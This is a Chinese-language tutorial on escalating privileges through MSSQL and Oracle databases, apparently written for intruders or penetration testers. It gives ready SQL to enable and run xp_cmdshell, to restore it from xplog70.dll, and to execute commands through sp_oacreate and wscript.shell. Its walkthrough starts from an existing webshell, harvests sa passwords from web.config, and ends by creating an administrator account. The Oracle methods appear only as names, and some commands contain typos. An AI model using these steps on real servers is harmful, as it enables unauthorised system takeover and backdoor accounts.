提权 - MSSQL/Oracle数据库
提权方法
1.MSSQL数据库提权方法
MSSQL注入攻击过程中,最长利用的扩展存储如下:
xp_cmdshell
xp_cmdshell(数据库-系统数据库-mater-可编程性-系统扩展存储过程)默认在mssql2000中是开启的,在mssql2005之后的版本中则是默认禁止的,如果用户拥有管理员sa权限(MSSQL最高权限)则可以用sp_congifgure重新开启它.
xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出,从而达到期权目的。
启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;
执行:
EXEC master.dbo.xp_cmdshell '命令'
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll'
sp_oacreate
主要用来调用OLE对象,利用OLE对象的run方法执行系统命令。
2.Oracle数据库提权方法
普通用户
DBA用户
注入模式
这三种方法可以使用自动化工具(Oracleshell)来完成提权。
演示
1.MSSQL xp_cmdshell 提权
1.通过配置文件找到数据库账户密码
MSSQL默认都支持外连
获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。
2.通过MSSQL客户端进行连接
3.在系统扩展存储过程中,查看是否开启 xp_cmdshell。
4.开启xp_cmdshell
5.利用xp_cmdshell执行命令,whoami命令返回 system,可以执行命令创建一个管理员账户。
2.MSSQL sp_oacreate提权
启用:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',1;
Reconfigure with override;
关闭:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',0;
Reconfigure with override;
执行:
delare @shell int exec sp_oacreate 'wscript.shell',@shell
output exec sp_oamethod @shell ,'run',null,'c:\windows\system32\
cmd.exe /c whoami >c:\\1.exe'
这个方法不支持回显,所以执行命令需要把回显内容重定向到一个文本中,但实际提权过程中,都是写创建账号密码,这点不影响。